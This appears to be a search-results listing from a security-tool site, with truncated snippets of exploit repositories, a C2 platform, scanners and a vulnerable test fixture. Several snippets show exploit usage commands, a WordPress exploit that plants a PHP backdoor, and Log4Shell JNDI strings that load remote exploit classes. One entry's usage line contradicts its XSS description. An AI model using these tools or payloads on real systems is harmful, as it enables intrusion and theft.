3344016 matches found
Livepyre
Livepyre A tool designed to exploit CVE-2025-54068 and Remote Command Execution if the APPKEY of the Livewire project is known. Authors of the tool: @remsio @Worty. Help root@kitploit: $ ./Livepyre.py -h usage: Livepyre.py -h -u URL -f FUNCTION -p PARAM -H HEADERS -P PROXY -a APPKEY -d -F -c...
vuln-scanner
vuln-scanner An automated vulnerability assessment platform that orchestrates 210 open-source security tools , aggregates and deduplicates findings, optionally chains tools into a discovery data-flow graph , runs an optional OpenAI-compatible LLM analysis layer for triage, clustering, and...
CVE-2020-5260
CVE-2020-5260 CVE-2020-5260 Demonstration Record When git executes a command like "git clone https://example.com", it requests the protocol "https" to store credentials for the host "example.com", and when the remote side requests authentication, it appends the returned credentials to the outgoin...
CVE-2019-11043
Ladon POC Moudle CVE-2019-11043 PHP-FPM + Ngnix Vulnerability Overview PHP-FPM Remote Code Execution Vulnerability CVE-2019-11043 During the Real World CTF organized by Chaitin Tech, foreign security researcher Andrew Danau discovered while solving a CTF challenge that sending the %0a symbol to t...
CVE-2019-16759
vBulletin RCE 5.x Get Email + SMTP CVE-2019-16759 This tools will extracts and dumps Email + SMTP from database server USAGE root@kitploit: $ git clone https://github.com/mas1337/CVE-2019-16759.git && cd CVE-2019-16759 $ ./vb-email-smtp.sh list.txt Disclaimer All code on this repository is for...
Supershell
Supershell is a C2 remote control platform accessed through WEB services. By establishing a reverse SSH tunnel, a fully interactive shell can be obtained, and it supports multi-platform architecture Payload...
CVE-2021-44228-Demo
CVE-2021-44228-Demo An example of remotely injecting code via RMI and LDAP using CVE-2021-44228. root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServ...
wordpress_cropimage
WordPress Crop-Image CVE-2019-8943 A python3 script for WordPress Crop-Image CVE-2019-8943 Authenticated Remote Code Execution RCE. It drops a malicious PHP backdoor. Getting Started Executing program RCE root@kitploit: python3 wprce.py -t http://wordpress.rce/ -u admin -p password -m twentytwent...
CVE-2026-6789-Stack-Buffer-Overflow-in-Embedded-TLS-Certificate-Parser
9. CVE-2026-6789 – Stack Buffer Overflow in Embedded TLS Certificate Parser Overview A popular lightweight TLS library simulated contains a stack buffer overflow when parsing X.509 certificate Subject Alternative Name extensions with a crafted length field. Severity: Critical RCE on IoT/Industria...
vc5
VC5 This README is currently being updated to reflect recent changes - some information may not reflect the current codebase. This iteration of code is not yet battle ready - use a v0.2 release for production A horizontally scalable Direct Server Return DSR layer 4 load balancer L4LB for Linux...
CVE-2024-25153
CVE-2024-25153 Este es una prueba de concepto para CVE-2024-25153, una vulnerabilidad de Ejecución Remota de Código en Fortra FileCatalyst Workflow 5.x, antes de 5.1.6 Build 114. Los detalles técnicos completos se pueden encontrar en...
rtl_433
rtl433 rtl433 despite the name is a generic data receiver, mainly for the 433.92 MHz, 868 MHz SRD, 315 MHz, 345 MHz, and 915 MHz ISM bands. The official source code is in the https://github.com/merbanan/rtl433/ repository. See also a list of software that works with rtl433 in the wiki. For more...
tamarin-prover
The Tamarin prover repository This README describes the organization of the repository of the Tamarin prover for security protocol verification. Its intended audience are interested users and future developers of the Tamarin prover. For installation and usage instructions of the Tamarin prover se...
CVE-2025-49844
CVE-2025-49844 - RediShell Use-after-free in Redis Lua scripting leading to remote code execution. Summary of the CVE Redis is an open source, in-memory database. CVE-2025-49844 is a use-after-free vulnerability in Redis's embedded Lua scripting engine. An authenticated user with access to Lua...
VulnFanatic-NG
VulnFanatic-NG LLM-assisted vulnerability research for Binary Ninja. VulnFanatic-NG adds a sidebar panel that scans the current binary and asks an LLM — a locally hosted OpenAI-compatible model by default, or Anthropic Claude, Google Gemini, or Azure OpenAI see LLM backends — to judge whether...
CVE-2026-3300
CVE-2026-3300 - Everest Forms Pro Unauthenticated Stored Cross-Site Scripting Quick Usage root@kitploit: python3 exploit.py -t "C:\Path\To\Target" -o demo.zip --data-file payload.exe Exploitation Notes Severity: CRITICAL CVSS: 9.8 Impact: Confidentiality, Integrity, Availability Published:...
zyrox
Zyrox LLVM Obfuscator llvm compile and link-time plugin for obfuscating native code Why why not ¯\ツ/¯ One of my biggest projects, where I learned a lot about LLVM internals, binary formats, assembly and obfuscation techniques. I believe that learning through building is the best way to learn, thu...
Root-My-Galaxy-Payloads
Root My Galaxy Payloads This repository contains the device-specific native side of Root My Galaxy: exact firmware profiles and offsets; the app-domain CVE-2026-43499 exploit source and compiled payload; the app bootstrap helper source; the verified KernelSU late-load build artifacts; the support...
log4shell-CVE-2021-44228
Log4Shell direct-impact fixture Deliberately vulnerable, non-deployable Java/Maven input for ShieldOps. Do not build, execute, or deploy it. The project pins org.apache.logging.log4j:log4j-core:2.14.1. LoginAuditService.recordLoginAttempt sends an unauthenticated HTTP User-Agent value into a Log4...